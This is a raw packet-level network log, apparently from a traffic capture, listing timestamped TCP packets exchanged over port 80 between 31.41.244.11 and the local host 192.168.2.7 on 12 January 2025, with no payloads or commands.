Jan 12, 2025 17:39:09.399497032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399507046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399518967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399529934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399542093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399550915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.399550915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.399586916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.399586916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.399596930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399609089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399621010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399635077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399646997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399650097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.399650097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.399658918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399671078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399697065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.399697065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.399704933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399717093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399729013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399741888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399744034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.399744034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.399756908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399790049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.399790049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.399818897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399832010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399863005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.399900913 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.399951935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399974108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399986982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.399998903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400003910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400028944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400048971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400049925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400114059 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400125027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400136948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400156975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400156975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400168896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400180101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400202990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400202990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400219917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400317907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400330067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400346041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400356054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400376081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400382042 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400382042 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400388002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400413036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400423050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400533915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400546074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400559902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400572062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400583982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400594950 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400595903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400619030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400631905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400640011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400640011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400643110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400656939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400692940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400692940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400779009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400790930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400803089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400813103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.400850058 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.400850058 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.439403057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.439467907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.439503908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.439546108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.439555883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.439562082 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.439590931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.439625025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.439639091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.439639091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.439672947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.439691067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.439726114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.439760923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.439765930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.439765930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.439794064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.439806938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.439827919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.439860106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.439870119 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.439870119 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.439893007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.439905882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.439925909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.439946890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.439960003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.439992905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.440002918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.440002918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.440026999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.440048933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.440149069 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.446182013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.446234941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.446269989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.446269989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.446305037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.446316957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.446316957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.446337938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.446383953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.446383953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.446388960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.446424007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.446456909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.446464062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.446464062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.446489096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.446492910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.446523905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.446556091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.446567059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.446567059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.446592093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.446605921 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.446624994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.446659088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.446669102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.446669102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.446702003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484181881 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484232903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484286070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484318972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484321117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484321117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484321117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484355927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484370947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484405041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484416008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484440088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484472036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484483004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484483004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484507084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484539986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484549046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484549046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484581947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484594107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484627962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484637976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484677076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484679937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484711885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484745026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484755039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484755039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484774113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484786987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484810114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484848022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484848022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484853983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484895945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484905005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484939098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484946012 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.484972954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.484981060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485024929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485060930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485090971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485105991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485126972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485160112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485168934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485184908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485215902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485229969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485263109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485285997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485296011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485330105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485333920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485333920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485366106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485377073 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485395908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485405922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485429049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485434055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485485077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485491037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485522985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485554934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485554934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485555887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485608101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485615015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485658884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485668898 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485724926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485728979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485766888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485775948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485805035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485836983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485846996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485846996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485872984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485912085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485912085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485922098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485955954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485986948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.485995054 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.485995054 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486021042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486051083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486054897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486088991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486088991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486088991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486129999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486165047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486169100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486169100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486197948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486206055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486238003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486239910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486288071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486304998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486337900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486341953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486371994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486392021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486406088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486419916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486438990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486469984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486489058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486510038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486522913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486530066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486557007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486599922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486599922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486607075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486644983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486670017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486690998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486696959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486747026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486747026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486808062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486850023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486850023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486860037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486908913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486911058 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486942053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486974955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.486984968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.486984968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487009048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487042904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487051964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487051964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487076044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487082005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487109900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487131119 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487143040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487165928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487174988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487207890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487221003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487221003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487236977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487267017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487270117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487273932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487303972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487325907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487354994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487358093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487391949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487410069 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487423897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487432003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487459898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487466097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487554073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487575054 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487590075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487611055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487621069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487648010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487656116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487688065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487696886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487696886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487723112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.487746000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.487770081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.525746107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.525799990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.525851011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.525871038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.525871038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.525885105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.525927067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.525927067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.525937080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.525969982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.526002884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.526012897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.526012897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.526036024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.526071072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.526079893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.526079893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.526103973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.526137114 CET	80	49975	31.41.244.11	192.168.2.7
